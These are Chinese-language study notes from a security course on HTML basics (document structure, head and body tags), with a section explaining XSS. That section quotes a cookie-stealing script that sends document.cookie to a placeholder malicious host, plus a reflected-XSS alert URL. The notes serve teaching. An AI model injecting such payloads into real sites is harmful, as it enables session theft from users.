泷羽sec-基础之html 学习笔记

声明！学习视频来自B站up主 **泷羽sec** 有兴趣的师傅可以关注一下，如涉及侵权马上删除文章，笔记只是方便各位师傅的学习和探讨，文章所提到的网站以及内容，只做学习交流，其他均与本人以及泷羽sec团队无关，切勿触碰法律底线，否则后果自负！！！！有兴趣的小伙伴可以点击下面连接进入b站主页[B站泷羽sec](泷羽sec的个人空间-泷羽sec个人主页-哔哩哔哩视频)

本章课程链接：黑客基础之html（超文本标记语言）_哔哩哔哩_bilibili

什么是HTML

HTML（HyperText Markup Language）即超文本标记语言，它是一种用于创建网页的标准标记语言。所谓 “超文本”，是指网页中不仅包含文本，还可以包含链接、图像、音频、视频等多种非文本元素，这些元素可以相互链接，形成一个复杂的信息网络。
从本质上来说，HTML 是一种标记语言（markuo tag），而不是编程语言。这意味着它主要用于描述文档的结构和内容，告诉浏览器如何显示这些内容，而不是用于实现复杂的逻辑和算法。

HTML定义了网页的结构和内容，通过不同的标签来实现网页元素的组织和呈现。理解这些标签的功能和作用，对于开发和测试网页至关重要。

一、HTML 基本结构

HTML(超文本标记语言)网页有一个标准的结构，主要由以下几个关键部分组成：

1.文档类型声明

2.HTML 根元素

3头部(head)

4主体(body)部分

这种结构为浏览器解析和显示网页内容提供了清晰的框架。

1.文档类型声明（DOCTYPE）

文档类型声明（DOCTYPE）是 HTML 文档的第一行内容，它的主要作用是告诉浏览器该文档所遵循的 HTML 版本，这样浏览器就能以正确的模式来渲染网页。不同的 DOCTYPE 声明会使浏览器以不同的规则来解析和显示网页内容。
例如，在 HTML5 中，DOCTYPE 声明为<!DOCTYPE html>，这个简洁的声明使得浏览器能够快速识别文档为 HTML5 格式，并且按照 HTML5 的标准来处理页面布局、元素支持等相关内容。

2.HTML 根元素

HTML 根元素是<html>标签，它是 HTML 文档中最外层的元素，就像是一棵树的 “树根”，所有其他的 HTML 元素都在它的 “枝干” 下。所有的网页内容，无论是用于定义文档标题和元数据的<head>部分，还是包含可见内容的<body>部分，都必须嵌套在<html>标签内部。

如：

<html><head><title>我的网页</title></head><body><p>这是网页中的一段文字。</p></body>
</html>

这个标签就像一个包裹，将整个网页的内容包起来，让浏览器知道这是一个完整的 HTML 文档。

3.头部(head)

在 HTML 结构中，<head>是<html>标签的一个重要子元素。它位于 HTML 文档的开头部分，在<html>标签内部、<body>标签之前。例如：

<html><head><!-- 这里是头部内容 --></head><body><!-- 这里是主体内容 --></body>
</html>

它就像是一个 “幕后工作者”，包含了许多对网页显示和功能有重要作用的信息，但这些信息本身不会直接在浏览器的页面内容区域展示出来。

1.<head>标签

HTML 文档中的一个重要部分，它是<html>标签的子元素，位于 HTML 文档的最前端，在<body>元素之前。它就像是一个 “控制中心”，虽然其中的内容大部分不会直接在浏览器的页面可视区域显示，但对网页的正确呈现、性能优化、搜索引擎优化（SEO）等诸多方面起着至关重要的作用。

2.<title>标签

功能：用于定义网页的标题。这个标题会显示在浏览器的标题栏中。例如，<title>我的博客</title>，当用户打开这个网页时，浏览器的标题栏就会出现 “我的博客” 字样。
重要性：对于用户来说，标题能够帮助他们快速识别网页的主题。对于搜索引擎而言，网页标题是搜索引擎展示搜索结果的重要依据之一，一个清晰、准确且包含关键词的标题有助于提高网页在搜索结果中的排名和点击率。

3.<meta>标签

字符编码（<meta charset="UTF - 8">）
功能：指定网页的字符编码方式。UTF - 8 是一种通用的字符编码，能够支持几乎所有语言的字符。使用 UTF - 8 编码可以确保网页中的文字，无论是中文、英文、日文还是其他语言的字符，都能正确地被浏览器解析和显示，避免出现乱码的情况。
元数据描述（<meta name="description" content="这是一个简单的网页介绍">）
功能：name属性定义了元数据的类型为 “description”，content属性则是具体的描述内容。这个描述内容通常会被搜索引擎用于在搜索结果页面展示网页的摘要信息，帮助用户在搜索时快速了解网页的大致内容。
其他元数据（如关键词等）
还可以通过<meta>标签设置网页的关键词

（<meta name="keywords" content="关键词1,关键词2">）

这些关键词可以帮助搜索引擎更好地理解网页内容，不过搜索引擎现在对关键词元数据的重视程度相对以前有所降低。

4.<link>标签

功能：主要用于链接外部资源，最常见的是链接样式表（CSS）。例如，<link rel="stylesheet" type="text/css" href="styles.css">。其中rel属性表示链接的关系是样式表，type属性指定了资源的类型是 CSS 文本，href属性则指向外部 CSS 文件（这里是 “styles.css”）的路径。通过这种方式，可以将网页的内容与样式分离，方便网页的设计和维护。
应用场景：在网页开发中，为了实现多样化的页面设计和布局，需要引入外部的 CSS 文件来控制网页元素的样式，如字体、颜色、大小、间距等诸多方面。

5.<script>标签

功能：用于在网页中引入 JavaScript 代码。有两种方式，一种是直接在标签内写代码，例如<script>alert('欢迎来到我的网页');</script>，这样在网页加载时会弹出一个显示 “欢迎来到我的网页” 的警告框。另一种是通过src属性引入外部的 JavaScript 文件，如<script src="script.js"></script>，这种方式适用于代码量较大的脚本，将 JavaScript 代码放在单独的文件中，便于代码的管理和维护。
应用场景：JavaScript 可以为网页添加各种交互功能，如表单验证、动画效果、菜单交互等，通过<script>标签引入代码能够让网页从静态变为动态，增强用户体验。

补充：<script>xss漏洞（JavaScrript）

定义
XSS（Cross - Site Scripting）即跨站脚本攻击，是一种常见的网络安全漏洞。当<script>标签被恶意利用时，就可能产生 XSS 漏洞。攻击者通过在目标网站中注入恶意脚本（通常是 JavaScript），使用户在访问受感染的网页时，浏览器会执行这些恶意脚本，从而导致用户信息泄露、账户被盗用、网站被篡改等安全问题。

漏洞产生的原因
用户输入未过滤：如果网站允许用户输入内容，并且没有对输入的内容进行充分的过滤和转义，攻击者就可以在输入的内容中插入恶意的<script>标签及代码。例如，在一个评论系统中，如果用户评论的内容可以直接显示在网页上，攻击者可能会输入类似于<script>document.write('<img src="http://malicious - site.com/cookie - stealer.jpg?c=' + document.cookie + '" />')</script>的内容。当这条评论被显示在网页上时，用户访问该网页，浏览器就会执行这个脚本，将用户的 Cookie 信息发送到恶意站点（http://malicious - site.com）。
动态内容生成问题：在一些网站中，会根据用户的请求动态生成 HTML 内容。如果在这个过程中对数据来源没有进行严格的验证，也可能会引入恶意脚本。比如，一个根据用户搜索关键词动态生成网页内容的搜索功能，没有对搜索关键词进行安全处理，攻击者就可以通过构造包含恶意脚本的关键词来发动 XSS 攻击。

攻击的类型
反射型 XSS：
这种类型的攻击是最常见的。恶意脚本通过 URL 参数等方式注入，然后服务器会直接将包含恶意脚本的内容返回给用户浏览器并执行。例如，一个网站有一个搜索功能，搜索结果页面会直接将用户输入的搜索词显示在页面上。攻击者构造一个包含恶意脚本的搜索词

（如http://example.com/search?query=<script>alert('XSS')</script>），

当用户访问这个链接或者通过网站的搜索功能输入这个搜索词时，浏览器就会执行这个脚本，弹出一个警告框。在实际攻击中，攻击者可能会使用更复杂的恶意脚本，如窃取用户信息等。

存储型 XSS：
恶意脚本被存储在目标网站的服务器上，如数据库、文件系统等。当其他用户访问包含恶意脚本的页面时，浏览器就会执行这些脚本。以一个论坛系统为例，攻击者在论坛的帖子内容中插入恶意脚本，当其他用户查看这个帖子时，浏览器就会执行脚本，导致用户信息泄露等安全问题。这种类型的 XSS 攻击危害更大，因为它可以长期存在于网站中，影响多个用户。

4.主体(body)部分

HTML 中的<body>部分是<html>标签的一个子元素，位于<head>元素之后。它包含了网页中所有直接可见的内容，是用户在浏览器中实际看到的部分。例如：

<html><head><!-- 头部内容，如标题、元数据等 --></head><body><!-- 这里是主体内容，包括文本、图像等各种元素 --></body>
</html>

可以把<body>想象成一个舞台，所有的 “演员”（网页元素）都在这个舞台上展示自己，为用户呈现出精彩的网页内容。

主要内容：

1.文本内容：

文本是主体部分最基本的元素。可以使用各种标签来格式化文本，使其更具可读性和结构性。例如，<p>这是一个段落。</p>，<p>标签用于定义一个段落，浏览器会自动在段落之间添加一定的空白间距，使文本排版更加美观。另外，还有标题标签<h1> - <h6>，其中<h1>表示一级标题，字体最大且最重要，通常用于网页的主标题；<h6>表示六级标题，字体最小。这些标题标签有助于组织网页内容的结构，比如在一篇文章网页中，<h1>可以是文章标题，<h2>可以是各个章节标题，以此类推。

2.图像元素（<img>标签）：

通过<img>标签来插入图像。例如，<img src="image.jpg" alt="这是一张图片">，其中src属性指定图像文件的路径，可以是相对路径（相对于 HTML 文件所在的目录）也可以是绝对路径。alt属性是当图像无法加载时显示的替代文本，同时对于屏幕阅读器来说，它可以帮助视力障碍者理解图像内容。图像可以使网页更加生动形象，增强视觉吸引力。

3.链接元素（<a>标签）：

使用<a>标签创建链接。例如，<a href="https://www.example.com">点击这里访问网站</a>，href属性指定了链接的目标地址，在这个例子中是一个外部网站的网址，<a>标签中间的 “点击这里访问网站” 是用户在网页上看到的可点击的链接文本。链接是网页的重要组成部分，它可以将用户引导到其他网页、文件或者同一网页的其他位置，实现信息的互联互通。

4.表格元素（<table>标签）：

使用<table>标签来创建表格。例如：

<table><tr><td>第一行第一列</td><td>第一行第二列</td></tr><tr><td>第二行第一列</td><td>第二行第二列</td></tr>
</table>

其中<table>是表格的整体标签，<tr>代表表格的行（table row），<td>代表表格的单元格（table data）。表格可以用于展示数据，如产品价格表、课程时间表等。

<body>部分直接决定了用户在浏览网页时看到的内容和能够进行的操作。一个设计良好的<body>部分可以提供舒适的阅读体验，比如合理的文本排版、吸引人的图像布局等。同时，通过链接和表单等元素，还可以引导用户进行进一步的探索（如浏览相关网页）或参与（如提交信息），从而增强用户与网页之间的交互性，提升用户体验。